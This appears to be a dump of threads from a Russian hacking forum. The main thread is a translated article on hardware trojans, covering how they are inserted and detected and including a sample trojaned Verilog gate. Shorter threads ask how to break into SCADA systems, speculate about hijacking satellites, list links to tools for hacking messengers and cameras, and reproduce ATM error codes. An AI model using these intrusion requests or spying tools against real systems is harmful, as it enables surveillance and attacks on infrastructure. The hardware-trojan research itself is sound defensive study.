Народ, если кто в курсе как и что, подскажите.

Аппаратные трояны под микроскопом
ID: 676535aeb4103b69df3735f5
Thread ID: 76600
Created: 2022-11-24T19:19:57+0000
Last Post: 2023-03-07T04:35:17+0000
Author: вавилонец
Prefix: Статья
Replies: 17 Views: 2K

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://ryancor.medium.com/hardware-trojans-under-a- microscope-bf542acbcc29)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
$600 на SSD для Jolah Milovski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Введение​

В то время как индустрия безопасности обычно фокусируется на программных кибератаках, мы не можем забывать о влиянии на безопасность аппаратных недостатков более низкого уровня, таких как те, которые затрагивают полупроводники. Поверхность для атак на уровне кремния за последние несколько лет расширилась; по мере развития производства интегральных схем (ИС) для все более совершенной микроэлектроники также возрастает риск появления дефектов в этих сложных системах.

1669313326878.png

В этой статье представлен обзор и история создания аппаратных троянов, включая сетевые списки, подготовку матриц, изображения с электронного микроскопа и тестирование схем. Кроме того, мы создадим собственный дизайн физической схемы аппаратного трояна, который будет проанализирован с помощью Klayout.

RTL Design vs Netlist

Прежде чем погрузиться в изучение аппаратных троянов, давайте рассмотрим, как проектируются кремниевые микросхемы, чтобы впоследствии мы могли обнаружить их с помощью обратной разработки. Мы можем начать с поведенческого уровня процесса. Регистровый уровень (RTL) определяет, как располагаются регистры и логические переходы.

1669314338609.pngСхемотехника D-триггер

Проектирование RTL стало намного проще в 1983 году, когда Министерством обороны был разработан первый язык описания аппаратуры (HDL) для документирования поведения проектов интегральных схем, специфичных для конкретного приложения (ASIC). VHDL и Verilog были представлены примерно в то же время и до сих пор являются двумя наиболее популярными HDL. Эти языки были созданы как специализированный компьютерный язык для программирования цифровых логических схем. Если взять приведенную выше RTL-схему и преобразовать ее в код Verilog, она будет выглядеть следующим образом:

Code:Copy to clipboard

lways @(posedge clk)
begin
    Q <= D;
end
assign D = ~Q;

Этот простой фрагмент кода можно синтезировать для обсуждаемой конструкции логических соединений. Логический синтез — это автоматизированный процесс преобразования языка HDL, такого как Verilog или VHDL, в оптимизированное описание на уровне соединений. При обратном проектировании изображений кремниевых кристаллов первая цель — понять, как мы можем взять все эти слои и преобразовать их в список соединений транзисторов. Глядя на что-то вроде вентиля XOR с двумя входами без значков компонентов RTL для замены транзисторов, мы можем разработать эту схему:

1669314924922.png Список соединений XOR Gate

Проще говоря, потребовалось всего шесть транзисторов, чтобы создать комплементарный дизайн списка соединений металл-оксид-полупроводник (CMOS). С этого момента в нашем путешествии по обратному проектированию вы должны преобразовать этот список соединений в схему RTL, а затем в HDL, как видно из изображений и фрагментов кода выше.

Получение изображений кремниевых кристаллов​

Чтобы обнаружить аппаратных троянов, вам нужно иметь под рукой голый кристалл вместе с несколькими другими приготовлениями к чипу, о которых я расскажу позже в этом посте. Одна часть, которую я не буду касаться, — это процесс декапсуляции и задержки интегральных схем, поскольку я уже [ написал статью ](https://ryancor.medium.com/pulling-bits-from-rom-silicon-die-images-unknown- architecture-b73b6b0d4e5d) об этом, но необходимо понять, как получить эти крошечные кремниевые кристаллы и как они отображаются.

Определение аппаратных троянов​

Аппаратный троянец может иметь вид вредоносной схемы, нарушающей работу или надежность электронной системы (например, интегральной схемы). Схемы подвержены атакам этого типа на уровне физической схемы или на уровне ворот. В частности, трояны уровня шлюза представляют собой функциональные модификации или параметрические отклонения от предполагаемого назначения компонента и могут быть достигнуты путем добавления или удаления шлюзов. Трудно обнаруживаемые трояны могут использоваться для ослабления защиты криптопроцессора следующими способами:

Ниже вы найдете пример аппаратного троянца, активируемого пороговым напряжением ( HTVth ) в комбинационной схеме (2-входовой вентиль И-НЕ).

1669315757615.png

Согласно документу Ingress of Threshold Voltage Triggered Hardware Trojan in the Modern FPGA Fabric — Methodology Detection and Mitigation: основные цели проекта для HTVth установлены соответственно таким образом, что:

Троянские схемы должны поддерживать одинаково низкое энергопотребление без ущерба для эффективности запускаемой полезной нагрузки. Схема, показанная выше, не может потреблять дополнительный ток в неактивном состоянии, что затрудняет ее обнаружение. Такие методы, как анализ мощности , не смогут с уверенностью сказать, что в этом конкретном элементе NAND есть троян.
В этом примере злоумышленник может легко контролировать выход логического элемента И-НЕ с двумя входами. С A(1) NAND B(0) == AB(1), мы ожидаем ввода 1а также 0 для получения высокого напряжения на выходе. При вставленном трояне уравнение для A NAND Bбудет иметь противоположный предполагаемый результат. Триггер аппаратного троянца (HWT) может так же легко изменить определенные входные контакты или изменить ожидаемые результаты. Это может помочь получить доступ к встроенным учетным данным, ключам, коду и многому другому.

Вставка троянов

Есть много способов вставить троянов, потому что есть много разных типов троянов.Один тип имеет возможность размещать фиксированные входы, подающие на два триггера, таким образом, чтобы микросхема по-прежнему проходила встроенные проверки самотестирования (BIST). Это может упростить обход механизма безопасности отладки. Второй тип включает возможность сделать атаки по сторонним каналам более доступными. Третий тип, трояны на стадии макета, могут быть внедрены в нескольких точках, особенно если несколько сторонних IP- ядер объединены в одном проекте. В принципе, одна разработка может стать жертвой нескольких троянцев, созданных разными группами злоумышленников.

Вставка RTL — один из самых популярных способов внедрения аппаратных троянов. Сам троянец может быть объектом системного уровня, который преобразуется в мошеннический RTL или может быть доставлен во время компоновки ASIC. Кроме того, троянец может маскировать подготовку, изменяя данные, чтобы замаскировать схему, которая уже находится в производстве. Это достигается за счет использования технологий повышения разрешения ( RET ), таких как коррекция оптической близости ( OPC ), которая корректирует волнообразное поведение света при травлении наноразмерных атрибутов самых современных интегральных схем. Дополнительную информацию можно найти в Википедии на Tape-outs. Чередование маски может, например, изменить полярность легирующей примеси внутри транзистора, с n-типа на p-тип или наоборот. Исследователи из Института безопасности полупроводников Хорста Герца заявили, что это будет чрезвычайно сложно обнаружить, особенно если это будет сделано после подписания. Подделка, безусловно, может внести изменения непосредственно перед изготовлением маски.

1669315971585.png
Измененный размер p-dopant, используемый для воздействия на поведение ячейки AOI

В приведенном выше случае, который был представлен Беккером и др, инвертор мог быть сфальсифицирован, чтобы обеспечить неправильный выходной сигнал. Например, Vdd может быть высоким в любое время за счет переключения маски p-примеси на версию n-типа или изменить его мощность за счет уменьшения ширины p-канального металлооксидно-полупроводникового(PMOS) транзистора. На изображении выше p-примесь охватывает всю область Vdd, но на схеме Trojan (справа) она занимает только более половины транзисторов на стороне Vdd. Трояны, способные воздействовать более чем на один путь, имеют больше шансов быть обнаруженными. При низкой вероятности перехода трояны вряд ли повлияют на энергопотребление схемы. Даже если сети выбираются из некритических путей без общих сегментов, обнаружить троянов с помощью методов, основанных на задержке, будет крайне сложно. Этот процесс тестирования был применен к схеме Ethernet MAC 10GE, и чип был синтезирован на технологическом узле 90 нм. Ему был поставлен троянец- компаратор, который следит за проводами шины данных. Логика компараторов, как показано ниже, переключается при изменении шины данных и поэтому потребляет значительное количество энергии.

1669316090182.png

Как видите, вставка троянов на уровне RTL или даже на уровне шлюза довольно сложна и может иметь много последствий, если не будет выполнена должным образом, например, значительное увеличение энергопотребления или ошибочное поведение. Было обнаружено, что анализ сигнала бокового канала и анализ вероятности перехода мощности показали самое высокое и наиболее точное количество цепей и вероятностей перехода из-за того, что он может показывать аномалии мощности, вызванные работой компараторов. Было показано, что это лучше, чем такие методы, как анализ задержки и структурный анализ (которые не обнаружили в схеме проверяемых неисправностей).
Если мы посмотрим на троянов с точки зрения макета, игра немного изменится. В большинстве случаев при проектировании схем есть много неиспользуемых пространств или даже областей, которые подвергаются химико-механической полировке(CMP). Троянские ячейки, размещенные в области, не используемой схемой, оказывают большее влияние на энергопотребление схемы, чем все остальные методы, перечисленные выше.
Был разработан поток для разделения схемы и определения практических мест для троянских ячеек, занимающих неиспользуемые места. Распределение ячеек схемы и пробелов по компоновке схемы получается, а затем определяются возможные места для размещения ячеек схемы.

Подготовка образцов, микроскопические изображения и тестирование

Использование методов обратного оптического проектирования может многое открыть исследователю. Обычные микроскопы, такие как составной, стерео- или даже металлургический, могут использоваться для обнаружения троянов, но отраслевой стандарт склоняется к сканирующим электронным микроскопам (СЭМ), поскольку ИС становятся меньше. Расширенные возможности необходимы для того, чтобы иметь возможность проводить дальнейшие исследования. Чтобы даже подготовить чип для показа скрытых троянов, некоторые вещи делаются с легированием, что требует использования химического травителя.
Как видно на увеличенном изображении ниже, затвор оригинальной конструкции (КМОП-инвертор) модифицирован путем применения другой полярности легирующей примеси к дискретным частям активной области затвора.

1669316285272.png
СЭМ-изображение троянца в 130-нм чипе (из книги «Современное состояние реверс- инжиниринга ИС»)

Согласно [ исследованию](https://sites.google.com/a/cs.unc.edu/hardware- security-sp2016/reading-schedule/dopant-level-hw-trojans), проведенному Университетом Северной Каролины, они смогли зафиксировать мощность транзисторов на определенном значении и/или даже имели возможность изменять мощность транзисторов аналогичным образом. Университет Флориды провел аналогичное исследование по обнаружению троянов с использованием различных напряжений луча на специальном CMOS-чипе. Используя этот метод, они смогли использовать быстрые алгоритмы визуализации SEM, обработки изображений и компьютерного зрения для обнаружения изменений вставки, удаления и модификации между микросхемой, свободной от троянов, и IC, проходящей аутентификацию (IUA). Как обсуждалось выше, необходима подготовительная работа, чтобы подготовить чип к визуализации, поскольку электроны не могут проникнуть в толстый слой подложки из диоксида кремния (SiO₂). Обычно используемый метод удаления SiO₂ — механическая полировка, так как его легче контролировать, чем что-то вроде погружения стружки в плавиковую кислоту, как показано в [ моей последней статье](https://ryancor.medium.com/pulling-bits-from-rom-silicon- die-images-unknown-architecture-b73b6b0d4e5d). Для обеспечения равномерного утончения субстрата исследователи использовали VarioMill. Этот продукт использует лазерное химическое травление, пятиосную адаптивную микрообработку с ЧПУ и спектрометрию видимого/ИК-излучения для утончения задней стороны толщиной до 1 мкм. Цель здесь состоит в том, чтобы взять изображения SEM из IUA и сравнить их с золотым IC. Для SEM необходимо установить определенные параметры, чтобы получить эффективное изображение IUA, например, напряжение луча, поле зрения, время пребывания (скорость) и разрешение. С этими настройками микроскоп можно запрограммировать на отображение всей ИС.

1669316458189.png

Исследователи внесли изменения в уровень легирования, чтобы смоделировать активность троянца, который затем был получен с помощью РЭМ. В некоторых из этих примеров злоумышленник потенциально может заменить NAND на NOR, который, по сути, будет реализовывать собственную вредоносную логику с помощью таких методов, как модификация активной области, маскировка ячеек на 1-м металлическом слое или путем вставки/удаления логики на активной области (т.е. добавление инвертора).

1669316532933.png

Современные микроконтроллеры и ЦП имеют от 10 000 до миллиардов переходов, и для анализа потребуется множество изображений с микроскопа. Вот почему автоматизация играет ключевую роль, когда речь идет о сборе информации как о номинальных цепях, так и о цепях с троянами. Многообещающими оказались и другие проверенные методы, в частности тестирование задержки пути . [ В эксперименте Йеля ](http://koclab.cs.ucsb.edu/teaching/ccs130h/projects/00-hw- trojans/04.pdf) исследователи вставили троянца на основе 2-битного компаратора рядом с входом ядра DES чипа. Задержки пути используются для создания отпечатков номинальных микросхем, поэтому каждый путь в списке соединений включается в состав трассы. Каждый отпечаток представляет собой один аспект общих характеристик подлинного дизайна. Затем чипы проверяются путем сравнения их параметров задержки пути с отпечатками пальцев, что довольно важно, когда речь идет о крошечных троянских схемах. В конечном итоге они смогли сделать вывод, что подлинными будут считаться только те чипы, чьи точки выборки находятся на пересечении всех заданных наборов во всем пространстве отпечатков пальцев или рядом с ним. Если одно или несколько мест выборки находились далеко от указанного пересечения, то считалось, что в чип вставлен троянец.
Теперь мы рассмотрим раздел, в котором аппаратный троян создается с помощью инструментов Electronic Design Automation (EDA) с открытым исходным кодом, чтобы показать, как он выглядит на уровне нестандартного дизайна.

ASIC Дизайн собственного HWT

Теперь, когда у нас была возможность узнать об аппаратных троянцах из множества разных источников, я подумал, что было бы интересно создать свой собственный от RTL до GDSII, где мы могли бы фактически просматривать наш чип с помощью программного обеспечения для 3D-рендеринга, такого как GDS3D. Прелесть разработки нашего собственного зараженного чипа заключается в том, что мы можем увидеть, как использовать инструменты с открытым исходным кодом для этого, а также иметь возможность смотреть на интегральную схему без микроскопа, поскольку мы можем увеличивать столько, сколько захотим, с помощью программного обеспечения. Давайте рассмотрим схему на уровне затвора обычной логической схемы И-ИЛИ с 4 входами рядом с той же схемой, но со вставленным трояном. Мы преобразуем это в код Verilog, а затем используем либо QFlow с OSU PDK, либо Openlane на Skywater130 PDK для создания файлов GDSII, чтобы мы могли просмотреть дизайн ASIC, как если бы мы смотрели на него через объектив с увеличением.

1669316761440.png

Дизайн внедренного троянца​

По словам Димитриса Моуриса, Шарля Гуэрта и Нектариоса Георгиоса Цуцоса, ворота помечаются порядком оценки (первый G1, тогда G2, так далее.). Трассировка выполнения также показана в строках таблиц, которые будут отображать выходные данные четырех регистров конечного автомата (SM), которые определяются переменными r0 — r3. Выделенные и подчеркнутые значения в таблицах показывают, какая переменная моделирования была перезаписана после оценки логического элемента. На диаграмме (а) показана схема, которая выводит 1когда все четыре входа установлены на высокий уровень. На диаграмме (б) показана та же схема, что и (а), после внедрения примера троянца, который активируется только тогда, когда все входы установлены на 1.
У нас есть два способа преобразования логики уровня шлюза в Verilog: либо вручную, либо с помощью цифрового инструмента . Мы можем нарисовать схемы и преобразовать программное обеспечение в HDL по нашему выбору. Я выберу более ленивый вариант Б.

Code:Copy to clipboard

module active_hwt (
  A,
  B,
  C,
  D,
  Y
);  input A;
  input B;
  input C;
  input D;
  output Y;  assign Y = ((((A & B) & (C & D)) ^ (((A & B) | (C & D)) | (C & D))) & D);endmodule

Это довольно похоже на код без троянца, за исключением того, что этот код имеет операцию XOR вместе с дополнительным И с вводом C& D. Мы можем использовать EDA Playground для имитации волновых моделей, используя простой тестовый стенд для обоих. Если вы не знакомы с написанием тестовых стендов, вы можете посмотреть мой код , чтобы увидеть, как они написаны. По сути, мы проверяем входные данные A, B, C, & Dчтобы увидеть, как трудно было бы заметить разницу с точки зрения формы волны. Помните, что наша кривая должна показывать активацию трояна только тогда, когда у нас есть 4'b1111, все остальные входные и выходные сигналы должны отражать друг друга.

1669316892705.png

HWT не вставлен (сверху) HWT вставлен (снизу)

[Оба они ](https://github.com/ryancor/HWT- Verilog/blob/main/Images/hwt_signals.png) выглядят очень похожими с точки зрения того, как Yвключается и выключается, но если вы внимательно посмотрите на вывод сигнала без аппаратного трояна, вы увидите одно отличие. Когда Aчерез Dвсе переключились на 1, выход Yявляется 1как и ожидалось. Обратите внимание, когда мы проверяем те же входные данные со вставленным кодом HWT… вывод Yявляется 0когда все контакты активированы. Итак, мы нашли триггер троянца, а функционал обеих RTL-дизайнов практически идентичен. Вы можете видеть, что в строке 54 кода нашего [ тестового стенда](https://github.com/ryancor/HWT- Verilog/blob/main/RTL/testbench/active_hwt_tb.v#L54), если бы мы забыли тест всех входов, установленных в активное состояние, сгенерированные формы сигналов обеих схем были бы идентичными. Давайте перейдем к предварительному изготовлению и посмотрим, как легко будет обнаружить различия между обеими конструкциями ASIC. Мы можем сделать это, пройдя процесс установки QFlow, где будут установлены все зависимости, такие как yosys , netgen , graywolf , qrouter и magic . Используя графический интерфейс QFlow, вы можете направить его к файлу Verilog, который вы хотите установить для подготовки к синтезу.

1669316969622.png

Графический интерфейс QFlow

В выпадающем списке технологий у вас будет несколько вариантов, я решил выбрать последнюю версию PDK - OSU018. Это означает, что он будет спроектирован в масштабе 180 нм. После прохождения синтеза, размещения, STA, маршрутизации и т.д. В итоге вы получите файл .gds в каталоге /layout/. Используя Klayout, мы можем открыть файл GDSII в программе.

1669317068150.png

Если вы посмотрите на эту простую конструкцию ИС, она разбита на несколько простых логических вентилей. Первый из них - AOI21X1, это инверторный затвор AND-OR с 3 входами, который имеет функцию Y=!((A&B)|C).

1669317184285.png

При снятии слоев наша конструкция соответствует функции AOI и содержит 6 транзисторов PNP и NPN. Если сравнить эту конструкцию с конструкцией AOI21X1 во вставленном проекте HWT, то они выглядят совершенно одинаково. На самом деле обе конструкции содержат BUFX2 (неинвертирующий буфер [Y=A]), INVX1 (инвертор [Y=!A]) и NAND2X1 (двухвходовой NAND-затвор [Y=!(A&B)]). Давайте посмотрим, какие стандартные ячейки добавил наш зараженный дизайн.

1669317265998.png

Как мы видим, это не так незаметно, как это было на уровне RTL-симуляции или даже вставки троянов на уровне легирования, потому что теперь кажется, что есть еще пара затворов. Наш дизайн показывает, что дополнительная ячейка, которая была добавлена, была NAND3X1 рядом с оригинальной NAND2X1. Кроме того, рядом с неинвертирующим буфером был добавлен дополнительный 2-входовой NAND- гейт.

1669317305436.png

С левой стороны у нас есть 4 транзистора, составляющие наш 2-входовой NAND- затвор, а выход Y этого затвора подключен к входу A вставленного 3-входового NAND-затвора (с правой стороны), который влияет на выход этого затвора. Этот дополнительный затвор состоит из 6 транзисторов, что в общей сложности составляет дополнительные 10 транзисторов к зараженной конструкции ИС. Так где же все это соединяется, чтобы повлиять на фактический физический выходной вывод?

1669317353366.png

Добавляя слои обратно, мы видим, что верхний металлический (зеленый) слой показывает два физических вывода, вход D и выход Y. Дополнительные два NAND- затвора, вставленные в эту конструкцию, в конечном итоге изменят выход этого вывода, когда будет установлен определенный триггер, что в нашем случае означает, что все физические входные выводы установлены в 1. Сравнивая наш код Verilog с дизайном ИС, можно увидеть сходство между ними и то, почему было бы так трудно уловить их на некоторых этапах предварительной сборки. Мы можем взглянуть на 3D-модель, чтобы увидеть, как это будет выглядеть на пластине.

1669317413900.png

Если бы не дополнительные заполнители (две большие пустые оранжевые и желтые области), которые были автоматически размещены и маршрутизированы с помощью QFlow в нижней части конструкции HWT, они выглядели бы почти идентично, поскольку два дополнительных затвора, о которых говорилось ранее, не добавляют многого к конструкции.

Вам может быть интересно, в каком сценарии это будет вредоносно, отличный вопрос. Представьте, что эти четыре входных контакта, когда все они установлены в состояние HIGH, ожидают результата в виде выхода HIGH, который, по сути, позволяет микросхеме заблокировать процессор в состоянии без отладки. После того, как наша атака изменит конструкцию, она убедится, что когда все контакты установлены в положение HIGH, на выходе будет LOW. Это переведет процессор в состояние отладки, что позволит злоумышленникам или противникам узнать частную информацию и IP вашей SoC (System on Chip), которая не должна была стать общедоступной.

Заключение

В этой статье мы рассмотрели некоторые способы внедрения троянских программ, рассмотрели методы их обнаружения и разработали собственную программу с нуля, используя имеющиеся в моем распоряжении инструменты. Благодаря этому исследованию мы можем реально увидеть, как будет выглядеть зараженный чип со стороны цепочки поставок.
ВОТ репозиторий, содержащий все HDL и файлы проектирования, которые я создал на этапе исследования размещения и маршрутизации моей аппаратной троянской микросхемы.
Спасибо, что следили за мной! Надеюсь, вам понравилось так же, как и мне. Если у вас есть вопросы по этой статье, пожалуйста, напишите мне в Instagram: @hackersclub или Twitter: @ringoware

Счастливой охоты :)

использованная литература

Взлом спутников
ID: 676535aeb4103b69df373543
Thread ID: 127387
Created: 2024-11-21T19:36:23+0000
Last Post: 2024-11-26T12:16:30+0000
Author: dunkel
Replies: 22 Views: 2K

Интересно кто то думал об этом здесь кроме меня. В теории хакеры же могут угнать спутник, и ~~просить выкуп~~ коррекционными двигателями направить его на камикадзе таран с другим спутником, МКС, телескопом, аллахом

[ https://i.blackhat.com/BH-US-23/Presentations/US-23-Willbold- HoustonWehaveaProblem.pdf ](https://i.blackhat.com/BH- US-23/Presentations/US-23-Willbold-HoustonWehaveaProblem.pdf)

www.securitylab.ru

[ Взлом спутников: вчера научная фантастика, сегодня реальность

](https://www.securitylab.ru/news/540858.php)

Спутники в низкой земной орбите беззащитны перед взломом.

![www.securitylab.ru](/proxy.php?image=https%3A%2F%2Fwww.securitylab.ru%2Fimg%2Ffaveicons%2Fandroid- icon-192x192.png&hash=48f4deb014821acfdcffa50cc5f79355&return_error=1) www.securitylab.ru

SCADA
ID: 676535aeb4103b69df373544
Thread ID: 99861
Created: 2023-10-11T14:56:07+0000
Last Post: 2024-11-23T02:28:06+0000
Author: k1ddddos
Replies: 19 Views: 2K

Всем привет! Заинтересовал вопрос о взломе scada ? Какие способы взлома то есть получение доступа к системе scada?
Если знаете то можете дать гугл дорки

слить прошивку устройства и модифицировать
ID: 676535aeb4103b69df37354f
Thread ID: 109053
Created: 2024-02-26T03:49:02+0000
Last Post: 2024-10-05T20:48:17+0000
Author: ptongi
Replies: 13 Views: 2K

Не разбираюсь в электронике, в детстве прошивал мобилки гнумос и прочие).
Уже тогда были какие-то дамперы, эдиторы.
Можете пояснить как происходит процесс?
Т.е. проводами коннектятся к какой-то плате, вычитывают дамп, откуда узнают его разметку?
Как узнать что с такого то по такой байт хранятся картинки, а тексты меню допустим иду за ним.
Или раньше типо это на форумах можно было узнать от людей работающих в СЦ, а сейчас х#й?

по каким кейвордам гуглить?

Hack WhatsApp, Telegram, Voice, Location, Cam
ID: 676535aeb4103b69df37355a
Thread ID: 63340
Created: 2022-02-22T12:12:12+0000
Last Post: 2024-09-09T17:14:58+0000
Author: blacrabbit
Replies: 7 Views: 2K

_https://github.com/tHACKGM/hack-WhatsApp

https://github.com/tHACKGM/hackvoice

https://github.com/tHACKGM/hacklocation

https://github.com/tHACKGM/cam

https://github.com/tHACKGM/Hack-Telegram_

ATM Error Codes
ID: 676535aeb4103b69df37355c
Thread ID: 79243
Created: 2023-01-04T14:42:31+0000
Last Post: 2024-09-02T19:50:38+0000
Author: DimmuBurgor
Prefix: Мануал/Книга
Replies: 14 Views: 2K

A| B| C|
---|---|---|---
1| | ATM MACHINE CORP|
2| | Hantle ATM MACHINE ERROR CODES|
3| | |
4| Code| Description| Resolution
5| 100001| The PAPER_STATUS of JPR is not FULL|
6| 100002| The MEDIA_STATUS of JPR is not PRESENT|
7| 100003| The MEDIA_STATUS of JPR is FATAL|
8| 100010| The MEDIA_STATUS of JPR is NO DEVICE|
9| 110091| LOST CARD & SLIP| Remove the retracted card and receipt in each retract box. Then execute reset operation.
10| 110291| LOST WITHDRAW CASH| Remove the retracted cash in cash dispenser retract box. Then execute CASSETTE TOTAL operation.
11| 110292| LOST DEPOSIT CASH| Remove the retracted cash in cash acceptor retract box. Then execute CIM CASSETTE TOTAL operation.
12| 110391| LOST CARD & SLIP| Remove the retracted card and receipt in IPM retract box. Then execute IPM CASSETTE TOTAL operation.
13| 110591| LOST PB| Remove the retracted passbook in retract box. Then execute reset operation.
14| 110691| LOST PB & SLIP| Remove the retracted passbook and receipt in each retract box. Then execute reset operation.
15| 0B00000| The others Error of the BILL Acceptor Unit|
16| 0B00001| The USR_BILL_INF_STACKER_STATUS Is normal|
17| 0B00002| The NOTE_STATUS of BILL Is not NOTPRESENT|
18| 0B00003| The TOTAL_BILL_COUNT is over than the APP_FULL_BILL_STACKER|
19| 0B00004| The DEVICE_STATUS of the BILL Acceptor Unit is not HEALTHY|
20| 0B00010| The DEVICE_STATUS is NO DEVICE|
21| 0C00000| The others Error of the CHAU|
22| 0C00001| The number of Copper Coin is below 55|
23| 0C00002| In Case The number of Copper Coin in Hopper 1 is below the lowest(12) and The number of Copper Coin in Hopper 2 is below the lowest(55)|
24| 0C00010| The DEVICE_STATUS of COIN is NO DEVICE|
25| 0D00001| The Status of Door is opened| Close the Door
26| 0N00010| The status of NETWORK Is not normal|
27| 1030100| DEV_PIN (Key data error from host)| Contact to host
28| 1100910| LOST SLIP| Check if the receipt printer is installed properly.
29| 1101910| LOST CARD, DEV_MCU|
30| 1102910| LOST WITHDRAW CASH,DEV_CSH|
31| 1102920| LOST DEPOSIT CASH, DEV_CSH|
32| 1103910| LOST CARD & SLIP, DEV_MCU | DEV_SPR| Check if the card reader and receipt printer are installed properly.
33| 1105910| LOST PB, DEV_PBM| Check if the passbook printer is installed properly.
34| 1106910| LOST PB & SLIP, DEV_SPR| Check if the passbook printer and receipt printer are installed properly.
35| 1210200| Printed character not found at JS5 sensor of JPR when initializing.|
36| 1210300| After rewinding, within some times, in case that JS2 sensor don't detect any paper in initializing Journal 1|
37| 1210400| In case that TPH head is overheated in initializing Journal 1|
38| 1210500| In case that JS3 sensor don't detect any paper in initializing Journal 1|
39| 1220100| In case that JS3 sensor don't detect any paper before initializing Journal 1|
40| 1220200| In case that JS3 sensor don't detect any paper during initializing Journal 1|
41| 1220400| In case that TPH head is overheated during initializing Journal 1|
42| 1220500| In case that JS3 sensor don't detect any paper after initializing Journal 1|
43| 1220600| Error of JS 2 sensor in printing Journal 1|
44| 1220700| Paper jam during printing Journal 1|
45| 1230100| In case that JS3 sensor don't detect any paper in automatically loading Journal 1|
46| 1230200| Error of JS4 sensor before automatically loading Journal 1|
47| 1230300| In case that JS4 sensor fail to detect any paper within some times in automatically loading Journal 1|
48| 1230400| In case that JS2 sensor fail to detect any paper in automatically loading Journal 1|
49| 1230500| In case that page mark is failed to detect in automatically loading Journal 1|
50| 1230600| In case that JS3 sensor fail to detect any paper after detecting page mark in automatically loading Journal 1|
51| 1230700| In case that JS2 sensor fail to detect any paper in automatically loading Journal 1|
52| 1230800| In case that TPH head is overheated during loading Journal 1|
53| 1230900| Error of JSOL1 echo check in automatically loading Journal 1|
54| 1235100| In case that JS3 sensor not detect paper in automatically loading Journal 2|
55| 1235200| In case that before automatically loading, spool position error detect|
56| 1235300| In case that JS4 sensor fail to detect any paper in automatically loading Journal 2|
57| 1235400| In case that JS2 sensor fail to detect any paper in automatically loading Journal 2|
58| 1235500| In case that page mark is failed to detect in automatically loading Journal 2|
59| 1235600| In case that JS3 sensor fail to detect any paper after detecting page mark in automatically loading Journal 2|
60| 1235700| In case that JS2 sensor fail to detect any paper in automatically loading Journal 2|
61| 1235800| In case that TPH head is overheated during loading Journal 2|
62| 1235900| Error of JSOL1 echo check in automatically loading Journal 2|
63| 1240100| In case that JS3 sensor don't detect any paper before printing emboss data of Journal 1|
64| 1240200| In case that TPH head is overheated during printing emboss data of Journal 1|
65| 1240500| In case that JS3 sensor don't detect any paper after printing emboss data of Journal 1|
66| 1240600| In case that JS2 sensor don't detect any paper after printing emboss data of Journal 1|
67| 1245100| In case that JS3 sensor don't detect any paper before printing emboss data of Journal 1|
68| 1245200| In case that TPH head is overheated during printing emboss data of Journal 1|
69| 1245500| In case that JS3 sensor don't detect any paper after printing emboss data of Journal 1|
70| 1245600| In case that JS2 sensor don't detect any paper after printing emboss data of Journal 1|
71| 1333900| No response from IC card|
72| 1910000| Undefined error (Journal Printer)| Reinitialized Journal printer and check again
73| 1910400| The error of head right position (Journal Printer), Printer head is not at home position.| After checking the head right position, try to reinitialized Journal printer and check again. Reboot system to initialize JPR.
74| 1910800| The error of Paper charger sub assembly (Journal Printer). Printed journal roll has trouble(s).| Check the Paper charger and status of supplied paper. Check printed journal roll and not printed new roll.
75| 1912000| Failed to print due to shortage of CR/LF (Journal Printer). Failure on JPR printing caused by no CR/LF character.| Check if FFC cable is properly connected or short. Check cables to printer head.
76| 1912100| Paper out when checked status of initializing (Journal Printer). JPR paper roll is out. Paper out when checked status of initializing| Check if supplied paper is running out of or occurred jam in return path. Check JPR roll.
77| 1914000| Head overheat (Journal Printer). JPR printer head is heated too hot. Paper out when checked status of initializing (Journal Printer)| Turn off the power for a moment to slow down overheat of head and turn on the power. Check printer head. Wait for a while until JPR printer head cools off. Check if supplied paper is running out of or occurred jam in return path.
78| 1914100| Paper jam error (Journal Printer). JPR paper is jammed.| Remove the jammed paper and initialize. Check JPR printer if paper is jammed, and remove jammed paper carefully. Reboot JPR if jammed paper is removed.
79| 1999900| Receiving unknown command|
80| 2000100| Cassette is not properly set. The Cash Dispenser Unit cassette is not installed. The Control Electronics checks if the Cash Dispenser Unit cassette is in the right position with the location sensor (LS6), and generates an error when the Cash Dispenser Uni| 1. Install the cassette again.
81| 2. Check if LS6 (micro switch) is fully pressed while the cassette is loaded.| |
82| 3. Check if LS6 connector has been properly inserted and if cable is cut.| |
83| 4. Check logic related to LS6 of the Cash Dispenser Unit board.| |
84| 3084000| No response from MCRW when MCRW version number is read.|
85| 3091000| Card jammed when emboss read.|
86| 3094000| No response from MCRW when emboss read.|
87| 30b4000| No response from MCRW when card entry is disabled.|
88| 30FXX00| Quasi normal information (All MCU commands)XX : Card location information 1) 00 : No card in the return path 2) 01 : Card in the entry 3) 02 : Card is in the return path|
89| 2000200| Cassette empty. Cash is not enough. This error occurs in the following cases: 1. When the number of bills is 0 after the final payment transaction is made2.?When the low level sensor (LS5) detects that the cassettes is at a low level in Low currency ch| 1. Fill cash and set the number of bills. -- In Low currency enable mode:
90| 2. Check if LS5 hole on the side of the cassettes is matching with LS5 after installing the cassette.| |
91| 3. Check if the reflection plate of the LS5 sensor is polluted in the cassette.| |
92| 2000300| The reject box is full. This error occurs when the sum of rejected bills during the transaction and the rejected bills during the test is more than 50 after finally executing Cassette Total.| Execute Cassette Total after moving cash from the reject box.
93| 2000400| The security door is open. The sensor detects that the security door is open.| 1. Close the security door.
94| 2. Check if the security door can be mechanically opened and closed by the door switch.| |
95| 3. Check if cable between the door switch and the Control Electronics is cut.| |
96| 4. Check if the connector is well connected to the Control Electronics| |
97| 2000500| Cash Dispenser Unit data (country, cassette, shutter) setting error occurs during initialization.| 1. Check Cash Dispenser Unit information.
98| 2. Check battery back-up SRAM| |
99| 3. Check the battery.| |
100| 2000800| This error occurs at the failure of receipt paper cutting| 1. Check paper jam and remove it
101| 2. Replace cutter module| |
102| 3. Check if cable and connector are not connected properly| |
103| 4. Check the logic for cutter in receipt printer board| |
104| 2001000| Receipt paper jam in the receipt printer. The jam detection sensor checks if there is paper before starting operation.| 1. Remove paper jam and paper scraps.
105| 2. Check the lever operation position in the sensor.| |
106| 3. Check if the sensor is polluted.| |
107| 4.Check if cable is cut or the connector is wrongly nserted.| |
108| 5.Check logic related to the jam detection sensor of the Slip Print| |
109| 2001100| TPH Headup Lever Open| Check Headup Lever
110| 2001200| The feed lever of the recipt printer is open. It was detected that the feed lever was open before ther receipt printer started to operate.| 1. Close the feed lever.
